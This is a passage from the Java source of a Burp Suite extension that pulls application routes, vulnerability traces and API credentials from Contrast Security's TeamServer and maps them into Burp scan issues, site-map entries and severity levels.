31 | url = "/"+url;
32 | }
33 | return normalisedURL.append(appContext).append(url).toString();
34 | }
35 |
36 | /**
37 | * Converts the RouteCoverage data, along with the manually configured HttpService into example
38 | * IHttpRequestResponse objects used by Burp.
39 | * @param resource
40 | * @param service
41 | * @return
42 | */
43 | public IHttpRequestResponse getReqResForRouteCoverage(RouteCoverageObservationResource resource, HttpService service, String appContext) {
44 | return getReqResForRouteCoverage(resource.getUrl(),resource.getVerb(),service,appContext);
45 | }
46 |
47 | public IHttpRequestResponse getReqResForRouteCoverage(String url, String verb, HttpService service, String appContext) {
48 | String path = getNormalisedPath(appContext,url);
49 | if(verb==null||verb.isEmpty()) {
50 | verb = "GET";
51 | }
52 | StringBuilder message = new StringBuilder();
53 | message.append(verb);
54 | message.append(" ");
55 | message.append(path);
56 | message.append(" HTTP/1.1\r\n");
57 | RequestResponse reqRes = new RequestResponse();
58 | reqRes.setRequest(message.toString().getBytes(StandardCharsets.UTF_8));
59 | reqRes.setComment("Found via Route Coverage");
60 | reqRes.setHttpService(service);
61 | return reqRes;
62 | }
63 |
64 | /**
65 | * Converts Contrast's HttpRequestResponse from trace data to Burps sitemap object
66 | * @param hreqRes
67 | * @param service
68 | * @return
69 | */
70 | public Optional getReqResForTrace(HttpRequestResponse hreqRes, HttpService service) {
71 | if(hreqRes.getHttpRequest()!=null) {
72 | RequestResponse reqRes = new RequestResponse();
73 | reqRes.setHttpService(service);
74 | reqRes.setRequest(hreqRes.getHttpRequest().getText().getBytes(StandardCharsets.UTF_8));
75 | reqRes.setComment("Found via Assess Vulnerability");
76 | return Optional.of(reqRes);
77 | } else {
78 | return Optional.empty();
79 | }
80 |
81 | }
82 |
83 | public URL getURLFromHttpReq(IHttpRequestResponse httpRequestResponse) throws MalformedURLException {
84 | StringBuilder req = new StringBuilder();
85 | req.append(httpRequestResponse.getHttpService().getProtocol());
86 | req.append("://");
87 | req.append(httpRequestResponse.getHttpService().getHost());
88 | req.append(":");
89 | req.append(httpRequestResponse.getHttpService().getPort());
90 | String payload = new String(httpRequestResponse.getRequest());
91 | int startPoint = payload.indexOf(" ");
92 | int endPoint = payload.indexOf("\n");
93 | String subPayload = payload.substring(startPoint+1,endPoint);
94 | subPayload = subPayload.substring(0,subPayload.lastIndexOf(" HTTP"));
95 | req.append(subPayload);
96 | return new URL(req.toString());
97 | }
98 |
99 | }
100 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/SortByAppNameComparator.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import com.contrastsecurity.models.Application;
4 |
5 | import java.util.Comparator;
6 |
7 | public class SortByAppNameComparator implements Comparator {
8 |
9 | @Override
10 | public int compare(Application o1, Application o2) {
11 | return o1.getName().compareTo(o2.getName());
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/SortByLastSeenComparator.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import com.contrastsecurity.models.Application;
4 |
5 | import java.util.Comparator;
6 |
7 | public class SortByLastSeenComparator implements Comparator {
8 | @Override
9 | public int compare(Application o1, Application o2) {
10 | if(o1.getLastSeen() == o2.getLastSeen()) {
11 | return 0;
12 | } else if (o1.getLastSeen()> o2.getLastSeen()) {
13 | return -1;
14 | } else {
15 | return 1;
16 | }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/SortType.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | public enum SortType {
4 | SORT_BY_NAME,
5 | SORT_BY_LAST_SEEN;
6 | }
7 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/TSCreds.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import burp.Components;
4 |
5 | import java.util.List;
6 | import java.util.Objects;
7 | import java.util.Optional;
8 |
9 | public class TSCreds {
10 |
11 |
12 | private String url;
13 | private String apiKey;
14 | private String serviceKey;
15 | private String userName;
16 | private String org;
17 |
18 | public TSCreds(){}
19 |
20 | public TSCreds(String url, String apiKey, String serviceKey, String userName, String org) {
21 | this.url = url;
22 | this.apiKey = apiKey;
23 | this.serviceKey = serviceKey;
24 | this.userName = userName;
25 | this.org = org;
26 | }
27 |
28 | public TSCreds(String url, String apiKey, String serviceKey, String userName) {
29 | this.url = url;
30 | this.apiKey = apiKey;
31 | this.serviceKey = serviceKey;
32 | this.userName = userName;
33 | this.org = "";
34 | }
35 |
36 | public String getUrl() {
37 | return url;
38 | }
39 |
40 | public String getApiKey() {
41 | return apiKey;
42 | }
43 |
44 | public String getServiceKey() {
45 | return serviceKey;
46 | }
47 |
48 | public String getUserName() {
49 | return userName;
50 | }
51 |
52 | public String getOrg() {
53 | return org;
54 | }
55 |
56 |
57 |
58 | public static TSCreds getSelectedCreds(List credsList) {
59 | Optional orgID = getOrgID();
60 | if(orgID.isPresent()) {
61 | return credsList.stream().filter(tsc-> orgID.get().equals(tsc.getOrg())).findFirst().orElse(credsList.get(0));
62 | } else {
63 | return credsList.get(0);
64 | }
65 | }
66 |
67 |
68 | private static Optional getOrgID() {
69 | if(Components.getOrgsCombo()!=null&&Components.getOrgsCombo().getSelectedItem()!=null) {
70 | return Optional.of(Components.getOrgsCombo().getSelectedItem().toString());
71 | } else {
72 | return Optional.empty();
73 | }
74 | }
75 |
76 |
77 | @Override
78 | public boolean equals(Object o) {
79 | if (this == o) return true;
80 | if (o == null || getClass() != o.getClass()) return false;
81 | TSCreds creds = (TSCreds) o;
82 | return Objects.equals(url, creds.url) && Objects.equals(apiKey, creds.apiKey) && Objects.equals(serviceKey, creds.serviceKey) && Objects.equals(userName, creds.userName) && Objects.equals(org, creds.org);
83 | }
84 |
85 | @Override
86 | public int hashCode() {
87 | return Objects.hash(url, apiKey, serviceKey, userName, org);
88 | }
89 | }
90 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/TSVulnLinkGenerator.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | public class TSVulnLinkGenerator {
4 |
5 | public String getURL(String tsURL,String orgID,String applicationID,String vulnID) {
6 | return new HTMLSanitiser().sanitiseHTML(
7 | String.format("%s/static/ng/index.html#/%s/applications/%s/vulns/%s",tsURL,orgID,applicationID,vulnID)
8 | );
9 | }
10 |
11 | public String getURLAHref(String tsURL,String orgID,String applicationID,String vulnID) {
12 | String url = getURL(tsURL,orgID,applicationID,vulnID);
13 | return new HTMLSanitiser().sanitiseHTML(
14 | String.format("Vulnerability Details ")
15 | );
16 | }
17 |
18 | public String getRemediationLink(String tsURL,String orgID,String applicationID,String vulnID) {
19 | String url = getURL(tsURL,orgID,applicationID,vulnID);
20 | return new HTMLSanitiser().sanitiseHTML(
21 | String.format("Remediation Details ")
22 | );
23 | }
24 |
25 |
26 | }
27 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/YamlReader.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import org.yaml.snakeyaml.LoaderOptions;
4 | import org.yaml.snakeyaml.Yaml;
5 | import org.yaml.snakeyaml.constructor.SafeConstructor;
6 |
7 | import java.io.File;
8 | import java.io.FileInputStream;
9 | import java.io.IOException;
10 | import java.util.ArrayList;
11 | import java.util.List;
12 | import java.util.Map;
13 | import java.util.Optional;
14 |
15 | /**
16 | * Reads the credentials file, this file contains the credentials required to authenticate with the TeamServer.
17 | * The credentials file has the format.
18 | * api:
19 | * url: https://example.contrastsecurity.com/Contrast
20 | * api_key: aaabbbccc
21 | * service_key: aaabbbcccddd
22 | * user_name: aaabbbccc@OrgName
23 | *
24 | */
25 | public class YamlReader {
26 |
27 | public List parseContrastYaml(File contrastFile) throws IOException {
28 | Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));
29 | List credList = new ArrayList<>();
30 | try(FileInputStream fis = new FileInputStream(contrastFile)) {
31 | Map results = yaml.load(fis);
32 | if(results.containsKey("api")&&results.get("api")!=null) {
33 | credList.add(getCredFromMap((Map) results.get("api")));
34 | for(String resultKey : results.keySet()) {
35 | if(resultKey!=null&&resultKey.startsWith("api")&&!resultKey.equals("api")) {
36 | Map resultObject = (Map) results.get(resultKey);
37 | credList.add(getCredFromMap(resultObject));
38 | }
39 | }
40 |
41 |
42 | } else {
43 | return credList;
44 | }
45 | }
46 | return credList;
47 | }
48 |
49 | private TSCreds getCredFromMap(Map resultMap) {
50 | return new TSCreds(getResultFromObject(resultMap.get("url")),getResultFromObject(resultMap.get("api_key")),
51 | getResultFromObject(resultMap.get("service_key")),getResultFromObject(resultMap.get("user_name")),getResultFromObject(resultMap.get("org_id")));
52 | }
53 |
54 |
55 | private String getResultFromObject(Object result) {
56 | if(result == null) {
57 | return "";
58 | } else {
59 | return result.toString();
60 | }
61 | }
62 |
63 |
64 | }
65 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/YamlWriter.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import org.yaml.snakeyaml.DumperOptions;
4 | import org.yaml.snakeyaml.Yaml;
5 |
6 | import java.io.IOException;
7 | import java.nio.file.Files;
8 | import java.nio.file.Path;
9 | import java.util.HashMap;
10 | import java.util.List;
11 |
12 | public class YamlWriter {
13 |
14 | public void writeYamlFile(List credsList, Path file) throws IOException {
15 | DumperOptions dumperOptions = new DumperOptions();
16 | dumperOptions.setPrettyFlow(true);
17 | Yaml yaml = new Yaml(dumperOptions);
18 | HashMap topLevel = new HashMap<>();
19 | int i=0;
20 | for(TSCreds cred : credsList) {
21 |
22 | HashMap data = new HashMap<>();
23 | data.put("url",cred.getUrl());
24 | data.put("api_key",cred.getApiKey());
25 | data.put("service_key",cred.getServiceKey());
26 | data.put("user_name",cred.getUserName());
27 | data.put("org_id",cred.getOrg());
28 | if(i==0) {
29 | topLevel.put("api",data);
30 | } else {
31 | topLevel.put("api"+i,data);
32 | }
33 |
34 | i++;
35 | }
36 | String yamlData = yaml.dump(topLevel);
37 | Files.write(file,yamlData.getBytes());
38 |
39 | }
40 |
41 |
42 |
43 |
44 |
45 | }
46 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/mapper/ConfidenceMapper.java:
--------------------------------------------------------------------------------
1 | package com.contrast.mapper;
2 |
3 | import java.util.Arrays;
4 | import java.util.List;
5 |
6 | public enum ConfidenceMapper {
7 |
8 | CERTAIN(Arrays.asList("high"),"Certain"),
9 | FIRM(Arrays.asList("medium"),"Firm"),
10 | Tentative(Arrays.asList("low","none"),"Tentative");
11 |
12 |
13 | private final List contrastConfidence;
14 | private final String burpConfidence;
15 |
16 | ConfidenceMapper(List contrastConfidence, String burpConfidence) {
17 |
18 | this.contrastConfidence = contrastConfidence;
19 | this.burpConfidence = burpConfidence;
20 | }
21 |
22 |
23 | public List getContrastConfidence() {
24 | return contrastConfidence;
25 | }
26 |
27 | public String getBurpConfidence() {
28 | return burpConfidence;
29 | }
30 |
31 | public static ConfidenceMapper getMappingForContrast(String contrastConfidence ) {
32 | for(ConfidenceMapper sev : ConfidenceMapper.values()) {
33 | if(sev.getContrastConfidence().contains(contrastConfidence.toLowerCase())) {
34 | return sev;
35 | }
36 | }
37 | throw new IllegalArgumentException("Unknown Contrast Confidence " + contrastConfidence);
38 | }
39 |
40 |
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/mapper/IssueTypeMapper.java:
--------------------------------------------------------------------------------
1 | package com.contrast.mapper;
2 |
3 | import com.contrast.Logger;
4 |
5 | import java.util.Arrays;
6 |
7 | public enum IssueTypeMapper {
8 |
9 |
10 | HEADER_INJECTION("header-injection",2097664),
11 | SESSION_REWRITING("session-rewriting",5244672),
12 | SESSION_TIMEOUT("session-timeout",134217728),
13 | CRYPTO_BAD_CIPHERS("crypto-bad-ciphers",134217728),
14 | CRYPTO_BAD_MAC("crypto-bad-mac",134217728),
15 | UNVALIDATED_FORWARD("unvalidated-forward",5243136),
16 | COMMAND_INJECTION("cmd-injection",1048832),
17 | CONTENT_INJECTION("content-injection",134217728),
18 | NOSQL_INJECTION("nosql-injection",1049088),
19 | NOSQL_INJECTION_DYNAMODB("nosql-injection-dynamodb",1049088),
20 | PATH_TRAVERSAL("path-traversal",1049344),
21 | REDOS("redos",5246208),
22 | REFLECTED_XSS("reflected-xss",2097920),
23 | SSRF("ssrf",3146256),
24 | SQL_INJECTION("sql-injection",1049088),
25 | TRUST_BOUNDARY_VIOLATION("trust-boundary-violation",134217728),
26 | UNSAFE_CODE_EXECUTION("unsafe-code-execution",1052672),
27 | UNTRUSTED_DESERIALIZATION("untrusted-deserialization",4196608),
28 | XPATH_INJECTION("xpath-injection",1050112),
29 | AUTO_COMPLETE_MISSING("autocomplete-missing",5244928),
30 | CACHE_CONTROLS_MISSING("cache-controls-missing",7340288),
31 | CSP_MISCONFIGURED("csp-header-insecure",7340288),
32 | CSP_MISSING("csp-header-missing",7340288),
33 | INSECURE_AUTH_PROTOCOL("insecure-auth-protocol",7340288),
34 | PARAMETER_POLLUTION("parameter-pollution",5248000),
35 | HSTS_HEADER_MISSING("parameter-pollution",16777984),
36 | X_CONTENT_TYPE_MISCONFIGURED("xcontenttype-header-missing",8389632),
37 | X_FRAME_OPTIONS_MISCONFIGURED("clickjacking-control-missing",5245344),
38 | X_POWERED_BY_SET("x-powered-by-header",8389632),
39 | X_XSS_PROTECTION_DISABLED("xxssprotection-header-disabled",5245360),
40 | UNKNOWN("UNKNOWN",134217728);
41 |
42 |
43 | private final String contrastType;
44 | private final Integer burpType;
45 |
46 | IssueTypeMapper(String contrastType, Integer burpType) {
47 | this.contrastType = contrastType;
48 | this.burpType = burpType;
49 | }
50 |
51 |
52 | public static IssueTypeMapper getIssueType(String contrastType, Logger logger) {
53 | IssueTypeMapper issueType = Arrays.stream(IssueTypeMapper.values())
54 | .filter(issue-> issue.contrastType.equals(contrastType))
55 | .findFirst()
56 | .orElse(IssueTypeMapper.UNKNOWN);
57 | if(IssueTypeMapper.UNKNOWN.equals(issueType)) {
58 | logger.logError("Unknown vulnerability type : " + contrastType);
59 | }
60 | return issueType;
61 | }
62 |
63 | public Integer getBurpType() {
64 | return burpType;
65 | }
66 |
67 | public String getContrastType() {
68 | return contrastType;
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/mapper/SeverityMapper.java:
--------------------------------------------------------------------------------
1 | package com.contrast.mapper;
2 |
3 | import java.util.Arrays;
4 | import java.util.List;
5 |
6 | public enum SeverityMapper {
7 |
8 |
9 | HIGH(Arrays.asList("critical","high"),"High"),
10 | MEDIUM(Arrays.asList("medium"),"Medium"),
11 | LOW(Arrays.asList("low"),"Low"),
12 | INFORMATION(Arrays.asList("note"),"Information");
13 |
14 |
15 |
16 |
17 | private List contrastSeverity;
18 | private String burpSeverity;
19 |
20 |
21 | SeverityMapper(List contrastSeverity, String burpSeverity) {
22 | this.contrastSeverity = contrastSeverity;
23 | this.burpSeverity = burpSeverity;
24 | }
25 |
26 |
27 | public String getBurpSeverity() {
28 | return burpSeverity;
29 | }
30 |
31 | public List getContrastSeverity() {
32 | return contrastSeverity;
33 | }
34 |
35 | public static SeverityMapper getMappingForContrast(String contrastSeverity ) {
36 | for(SeverityMapper sev : SeverityMapper.values()) {
37 | if(sev.getContrastSeverity().contains(contrastSeverity.toLowerCase())) {
38 | return sev;
39 | }
40 | }
41 | throw new IllegalArgumentException("Unknown Contrast Severity " + contrastSeverity);
42 | }
43 |
44 | }
45 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/model/APIKey.java:
--------------------------------------------------------------------------------
1 | package com.contrast.model;
2 |
3 | import java.util.List;
4 | import java.util.Objects;
5 |
6 | public class APIKey {
7 |
8 | private String success;
9 | private List messages;
10 | private String api_key;
11 |
12 | public APIKey() {
13 | }
14 |
15 | public APIKey(String success, List messages, String api_key) {
16 | this.success = success;
17 | this.messages = messages;
18 | this.api_key = api_key;
19 | }
20 |
21 | public String getSuccess() {
22 | return success;
23 | }
24 |
25 | public void setSuccess(String success) {
26 | this.success = success;
27 | }
28 |
29 | public List getMessages() {
30 | return messages;
31 | }
32 |
33 | public void setMessages(List messages) {
34 | this.messages = messages;
35 | }
36 |
37 | public String getApi_key() {
38 | return api_key;
39 | }
40 |
41 | public void setApi_key(String api_key) {
42 | this.api_key = api_key;
43 | }
44 |
45 | @Override
46 | public boolean equals(Object o) {
47 | if (this == o) return true;
48 | if (o == null || getClass() != o.getClass()) return false;
49 | APIKey apiKey = (APIKey) o;
50 | return Objects.equals(success, apiKey.success) && Objects.equals(messages, apiKey.messages) && Objects.equals(api_key, apiKey.api_key);
51 | }
52 |
53 | @Override
54 | public int hashCode() {
55 | return Objects.hash(success, messages, api_key);
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/model/Route.java:
--------------------------------------------------------------------------------
1 | package com.contrast.model;
2 |
3 | import java.util.Objects;
4 |
5 | public class Route {
6 |
7 | private String signature;
8 | private int vulnerabilities;
9 | private String route_hash;
10 |
11 | private Long exercised;
12 |
13 | public Route() {
14 | }
15 |
16 |
17 | public Route(String signature, int vulnerabilities, String route_hash, Long exercised) {
18 | this.signature = signature;
19 | this.vulnerabilities = vulnerabilities;
20 | this.route_hash = route_hash;
21 | this.exercised = exercised;
22 | }
23 |
24 | public String getSignature() {
25 | return signature;
26 | }
27 |
28 | public void setSignature(String signature) {
29 | this.signature = signature;
30 | }
31 |
32 | public int getVulnerabilities() {
33 | return vulnerabilities;
34 | }
35 |
36 | public void setVulnerabilities(int vulnerabilities) {
37 | this.vulnerabilities = vulnerabilities;
38 | }
39 |
40 | public String getRoute_hash() {
41 | return route_hash;
42 | }
43 |
44 | public void setRoute_hash(String route_hash) {
45 | this.route_hash = route_hash;
46 | }
47 |
48 | public Long getExercised() {
49 | return exercised;
50 | }
51 |
52 | public void setExercised(Long exercised) {
53 | this.exercised = exercised;
54 | }
55 |
56 | @Override
57 | public boolean equals(Object o) {
58 | if (this == o) return true;
59 | if (o == null || getClass() != o.getClass()) return false;
60 | Route route = (Route) o;
61 | return Objects.equals(route_hash, route.route_hash);
62 | }
63 |
64 | @Override
65 | public int hashCode() {
66 | return Objects.hash(route_hash);
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/model/RouteCoverage.java:
--------------------------------------------------------------------------------
1 | package com.contrast.model;
2 |
3 | import java.util.List;
4 |
5 | public class RouteCoverage {
6 |
7 |
8 |
9 |
10 | private List observations;
11 |
12 | public RouteCoverage(){}
13 | public RouteCoverage(List observations) {
14 | this.observations = observations;
15 | }
16 |
17 | public List getObservations() {
18 | return observations;
19 | }
20 |
21 | public void setObservations(List observations) {
22 | this.observations = observations;
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/model/RouteCoverageObservationResource.java:
--------------------------------------------------------------------------------
1 | package com.contrast.model;
2 |
3 | public class RouteCoverageObservationResource {
4 |
5 | private String url;
6 | private String verb;
7 |
8 | public RouteCoverageObservationResource(){}
9 |
10 | public RouteCoverageObservationResource(String url, String verb) {
11 | this.url = url;
12 | this.verb = verb;
13 | }
14 |
15 | public String getUrl() {
16 | return url;
17 | }
18 |
19 | public String getVerb() {
20 | return verb;
21 | }
22 |
23 | public void setUrl(String url) {
24 | this.url = url;
25 | }
26 |
27 | public void setVerb(String verb) {
28 | this.verb = verb;
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/model/Routes.java:
--------------------------------------------------------------------------------
1 | package com.contrast.model;
2 |
3 | import java.util.List;
4 |
5 | public class Routes {
6 |
7 | private List routes;
8 |
9 | public Routes() {
10 | }
11 |
12 | public Routes(List routes) {
13 | this.routes = routes;
14 | }
15 |
16 | public List getRoutes() {
17 | return routes;
18 | }
19 |
20 | public void setRoutes(List routes) {
21 | this.routes = routes;
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/model/ServiceKey.java:
--------------------------------------------------------------------------------
1 | package com.contrast.model;
2 |
3 | import java.util.List;
4 | import java.util.Objects;
5 |
6 | public class ServiceKey {
7 |
8 | private String success;
9 | private List messages;
10 | private String service_key;
11 | private String user_uid;
12 |
13 |
14 | public ServiceKey() {
15 | }
16 |
17 | public ServiceKey(String success, List messages, String service_key, String user_uid) {
18 | this.success = success;
19 | this.messages = messages;
20 | this.service_key = service_key;
21 | this.user_uid = user_uid;
22 | }
23 |
24 | public String getSuccess() {
25 | return success;
26 | }
27 |
28 | public void setSuccess(String success) {
29 | this.success = success;
30 | }
31 |
32 | public List getMessages() {
33 | return messages;
34 | }
35 |
36 | public void setMessages(List messages) {
37 | this.messages = messages;
38 | }
39 |
40 | public String getService_key() {
41 | return service_key;
42 | }
43 |
44 | public void setService_key(String service_key) {
45 | this.service_key = service_key;
46 | }
47 |
48 | public String getUser_uid() {
49 | return user_uid;
50 | }
51 |
52 | public void setUser_uid(String user_uid) {
53 | this.user_uid = user_uid;
54 | }
55 |
56 | @Override
57 | public boolean equals(Object o) {
58 | if (this == o) return true;
59 | if (o == null || getClass() != o.getClass()) return false;
60 | ServiceKey that = (ServiceKey) o;
61 | return Objects.equals(success, that.success) && Objects.equals(messages, that.messages) && Objects.equals(service_key, that.service_key) && Objects.equals(user_uid, that.user_uid);
62 | }
63 |
64 | @Override
65 | public int hashCode() {
66 | return Objects.hash(success, messages, service_key, user_uid);
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/model/TraceIDDecoractedHttpRequestResponse.java:
--------------------------------------------------------------------------------
1 | package com.contrast.model;
2 |
3 | import com.contrastsecurity.models.HttpRequestResponse;
4 |
5 | public class TraceIDDecoractedHttpRequestResponse {
6 |
7 |
8 | private final String traceID;
9 | private final HttpRequestResponse requestResponse;
10 |
11 | public TraceIDDecoractedHttpRequestResponse(String traceID, HttpRequestResponse requestResponse) {
12 | this.traceID = traceID;
13 | this.requestResponse = requestResponse;
14 | }
15 |
16 | public String getTraceID() {
17 | return traceID;
18 | }
19 |
20 | public HttpRequestResponse getRequestResponse() {
21 | return requestResponse;
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/threads/BrowseVulnCheckThread.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | import burp.Components;
4 | import burp.CorrelationIDAppender;
5 | import burp.DataModel;
6 | import burp.IBurpExtenderCallbacks;
7 | import burp.IHttpRequestResponse;
8 | import burp.PortResolver;
9 | import burp.ScanIssue;
10 | import com.contrast.HttpService;
11 | import com.contrast.Logger;
12 | import com.contrast.RequestResponseGenerator;
13 | import com.contrast.TSCreds;
14 | import com.contrast.TSReader;
15 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse;
16 | import com.contrastsecurity.models.StoryResponse;
17 | import com.contrastsecurity.models.Trace;
18 |
19 | import java.io.IOException;
20 | import java.util.ArrayList;
21 | import java.util.Arrays;
22 | import java.util.List;
23 | import java.util.Optional;
24 | import java.util.concurrent.ExecutionException;
25 | import java.util.concurrent.Future;
26 | import java.util.stream.Collectors;
27 |
28 | public class BrowseVulnCheckThread extends StoppableThread {
29 |
30 | private final TSReader reader;
31 | private final String orgID;
32 | private final String appID;
33 | private final CorrelationIDAppender idAppender;
34 | private final IBurpExtenderCallbacks callBacks;
35 | private final DataModel dataModel;
36 | private final Logger logger;
37 |
38 | private boolean shouldRun = true;
39 |
40 | private List traces = new ArrayList<>();
41 |
42 | public BrowseVulnCheckThread(TSReader reader, String orgID, String appID, CorrelationIDAppender idAppender,
43 | IBurpExtenderCallbacks callbacks, DataModel dataModel, Logger logger) {
44 | this.reader = reader;
45 | this.orgID = orgID;
46 | this.appID = appID;
47 | this.idAppender = idAppender;
48 | this.callBacks = callbacks;
49 | this.dataModel = dataModel;
50 | this.logger = logger;
51 | }
52 |
53 |
54 | @Override
55 | public void run() {
56 | boolean firstRun = true;
57 | while(true) {
58 | if(!shouldRun) {
59 | break;
60 | }
61 | try {
62 | if(firstRun) {
63 | traces.addAll(reader.getTraces(orgID,appID,Optional.of(dataModel)));
64 | firstRun = false;
65 | } else {
66 | dataModel.clearTraceTable();
67 | List newTraces = reader.getTraces(orgID,appID,Optional.of(dataModel));
68 | List oldTraceIDS = traces.stream().map(Trace::getUuid).collect(Collectors.toList());
69 | List unseenTraces = newTraces.stream().filter(trace -> !oldTraceIDS.contains(trace.getUuid())).collect(Collectors.toList());
70 | for(Trace unseenTrace : unseenTraces) {
71 | Future request = reader.getHttpRequest(orgID,unseenTrace.getUuid());
72 | TraceIDDecoractedHttpRequestResponse requestResponse = request.get();
73 |
74 | if(requestResponse!=null&&requestResponse.getRequestResponse()!=null&&requestResponse.getRequestResponse().getHttpRequest()!=null&&requestResponse.getRequestResponse().getHttpRequest().getText()!=null) {
75 | Optional header = getCorrelationHeader(requestResponse.getRequestResponse().getHttpRequest().getText());
76 | if(header.isPresent()) {
77 | doPushVuln(requestResponse,unseenTrace);
78 | }
79 | }
80 | }
81 | traces = newTraces;
82 | }
83 | Thread.sleep(5000l);
84 | } catch (IOException | InterruptedException | ExecutionException e) {
85 | logger.logException("unable to process traces",e);
86 | throw new RuntimeException(e);
87 | }
88 | }
89 | }
90 |
91 | private Optional getCorrelationHeader(String httpText) {
92 | Optional result = Optional.empty();
93 | if(httpText!=null) {
94 | result = Arrays.stream(httpText.split("\n")).filter(this::isLineCorrelationHeader).findFirst();
95 | }
96 | return result;
97 | }
98 |
99 | private boolean isLineCorrelationHeader(String line) {
100 | if(line.contains(idAppender.getCorrelationID().toString())&&line.contains(CorrelationIDAppender.NAME)) {
101 | return true;
102 | } else {
103 | return false;
104 | }
105 | }
106 |
107 |
108 | private void doPushVuln(TraceIDDecoractedHttpRequestResponse requestResponse, Trace trace) throws IOException {
109 | RequestResponseGenerator generator = new RequestResponseGenerator();
110 | TSCreds creds = TSCreds.getSelectedCreds(dataModel.getTsCreds());
111 |
112 | HttpService service = getHttpService();
113 |
114 | Optional optional = generator.getReqResForTrace(requestResponse.getRequestResponse(), service);
115 | StoryResponse response = getStoryResponse(orgID, requestResponse.getTraceID(), reader);
116 | if (optional.isPresent()) {
117 | callBacks.addScanIssue(new ScanIssue(optional.get(), Optional.of(trace), logger, response, creds, orgID, appID));
118 | callBacks.addToSiteMap(optional.get());
119 | }
120 | }
121 |
122 |
123 |
124 |
125 |
126 | private StoryResponse getStoryResponse(String orgID, String traceID, TSReader reader) throws IOException {
127 | if (!dataModel.getTraceIDStoryMap().containsKey(traceID)) {
128 | reader.getStory(orgID, traceID).ifPresent(response -> dataModel.getTraceIDStoryMap().put(traceID, response));
129 | }
130 | return dataModel.getTraceIDStoryMap().get(traceID);
131 | }
132 |
133 | private HttpService getHttpService() {
134 | return new HttpService( Components.getHostNameField().getText(),
135 | PortResolver.getPort(),Components.getProtocolCombo().getSelectedItem().toString());
136 | }
137 |
138 |
139 |
140 | @Override
141 | public void notifyThread() {
142 | shouldRun = false;
143 | }
144 | }
145 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/threads/CredentialsRetrieverThread.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | import burp.Components;
4 | import burp.DataModel;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.ICookie;
7 | import burp.Status;
8 | import burp.StatusUpdater;
9 | import com.contrast.Logger;
10 | import com.contrast.TSCreds;
11 | import com.contrast.TSReader;
12 | import com.contrast.model.APIKey;
13 | import com.contrast.model.ServiceKey;
14 | import com.contrastsecurity.models.Organization;
15 |
16 | import java.io.IOException;
17 | import java.net.MalformedURLException;
18 | import java.util.Arrays;
19 | import java.util.List;
20 | import java.util.Optional;
21 |
22 | import static burp.ContrastTab.enableButtons;
23 | import static burp.ContrastTab.refreshOrgIDS;
24 |
25 | public class CredentialsRetrieverThread extends StoppableThread{
26 |
27 | private final IBurpExtenderCallbacks callbacks;
28 | private final DataModel dataModel;
29 | private final Logger logger;
30 | private final String username;
31 | private final String password;
32 | private final String tsURL;
33 |
34 | public CredentialsRetrieverThread(IBurpExtenderCallbacks callbacks, DataModel dataModel, Logger logger, String username, String password, String tsURL) {
35 | this.callbacks = callbacks;
36 | this.dataModel = dataModel;
37 | this.logger = logger;
38 | this.username = username;
39 | this.password = password;
40 | this.tsURL = tsURL;
41 | }
42 |
43 |
44 | @Override
45 | public void run() {
46 | StatusUpdater.updateStatus(Status.LOADING,dataModel);
47 | boolean credsAdded = false;
48 | try {
49 | TSReader reader = new TSReader(dataModel.getTsCreds(),logger,dataModel,callbacks,Optional.of(getSanitisedTSURL()),true);
50 |
51 | List cookies = reader.login(username,password);
52 | if(!cookies.isEmpty()) {
53 | Optional xsrf = cookies.stream().filter(iCookie -> iCookie.getName().equals("XSRF-TOKEN")).filter(iCookie -> iCookie.getValue()!=null&&!iCookie.getValue().isEmpty()).findFirst();
54 | Optional ui_key = cookies.stream().filter(iCookie -> iCookie.getName().equals("contrast_ui_key")).filter(iCookie -> iCookie.getValue()!=null&&!iCookie.getValue().isEmpty()).findFirst();
55 | Optional session = cookies.stream().filter(iCookie -> iCookie.getName().equals("SESSION")).filter(iCookie -> iCookie.getValue()!=null&&!iCookie.getValue().isEmpty()).findFirst();
56 | if(validateCookie(xsrf)&&validateCookie(ui_key)&&validateCookie(session)) {
57 | Optional serviceKey = reader.getServiceKey(Arrays.asList(xsrf.get(),ui_key.get(),session.get()), xsrf.get().getValue());
58 | if(serviceKey.isPresent()) {
59 | List orgs = reader.getOrgs(Arrays.asList(xsrf.get(),ui_key.get(),session.get()), xsrf.get().getValue());
60 | if(!orgs.isEmpty()) {
61 | for(Organization org: orgs) {
62 | Optional apiKey = reader.getAPIKey(Arrays.asList(xsrf.get(),ui_key.get(),session.get()), xsrf.get().getValue(), org.getOrgUuid());
63 | if(apiKey.isPresent()) {
